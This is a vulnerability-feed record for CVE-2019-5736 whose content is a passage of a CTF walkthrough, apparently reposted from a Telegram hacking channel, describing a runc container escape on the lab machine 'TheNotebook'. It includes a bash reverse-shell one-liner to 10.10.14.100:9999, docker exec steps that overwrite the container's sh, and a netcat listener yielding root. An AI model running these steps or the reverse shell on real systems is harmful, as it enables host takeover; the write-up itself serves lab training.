{"uuid": "0dd7dae1-9f4e-4979-b249-18eb53c67acf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2019-5736", "type": "seen", "source": "https://t.me/hacking_Attack/27882", "content": "cape vulnerability. The POC of the same can be found here. This exploit would let us overwrite and execute the host systems binary from within the container.git clone https://github.com/Frichetten/CVE-2019-5736-PoCHere, we\u2019ll modify the variable \u201cpayload\u201d with this bash one linerbash -i >& /dev/tcp/10.10.14.100/9999 0>&1And then we save thisgo build main.gohttps://blogger.googleusercontent.com/img/a/AVvXsEgW9TMQ9K5qnFrYZYaX6Lv99IdU-xEo8RkOZ2cI2v2bkM0TVlAdC19kVBoYLitevE-XVRbnhViBVsD6UsTg7MsiS2gqZ4ogqKYgkKbOy2CcKcEeFxBUckmXgSsaNOwc6MRtiY_6E70a_GfLzoZyZAD3HBlL8niHC7Y57l0UuM2CnV1SllU_T04v_Wdw6A=s16000 In the machine, we first jumped into the container using docker exec command.sudo /usr/bin/docker exec -it webapp-dev01 /bin/bashAfter that we\u2019ll copy the exploit in /tmp and execute itcd /tmphttps://blogger.googleusercontent.com/img/a/AVvXsEgbyf6kwyXDoTPrIXPjCDVXFUS7wifXeYV4X-rSkj9JmNBYs48NhEXGordCYRrd6PiUpS1s7dpZ9DpCPXs-cpir7dJlHpGGywFj88p61VXPEx8c3T37lflA8F2f7lyp2PO3u6ux5BRr7PQweBJNsoPWmNh1SiXT5HwvZOhRnljUV49JQkhXYRhLYufxZQ=s16000 Now, we\u2019ll open another window and log in using noah separately and execute the command docker exec command but the catch is that this time the binary \u201csh\u201d has been overwritten by our exploit and it would run the \u201cpayload\u201d that we defined in our exploit.sudo /usr/bin/docker exec -it webapp-dev01 shhttps://blogger.googleusercontent.com/img/a/AVvXsEg_JDDDCX_Gv2oTh_Y0t4LeQyZ_7Dtz_qQHodVBXhoJvbU1Vk84EHDrguV-OkkNTeou34_Gf9n02210Bw1TpUAnmJC8SgxftSVfUxfuWChptGT7Yhe_AMBtTq8Q9iBitj906twF9SrMHDaJjLlqVW9J2O5hwimFL8dOqyOgyybVpD_SanGHwPzL3VdF6Q=s16000 We fired up the window in which netcat was running and observe a shell had been prompted. This is the root of thenotebook!nc -lvp 9999We snagged the flag in /root directoryConclusionHence, this is how we were able to own the system access in the CTF TheNotebook. Please let us know in the comments how you found our approach and query any clarifications for any steps that you may need. Thanks for the read.___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:13.316381Z"}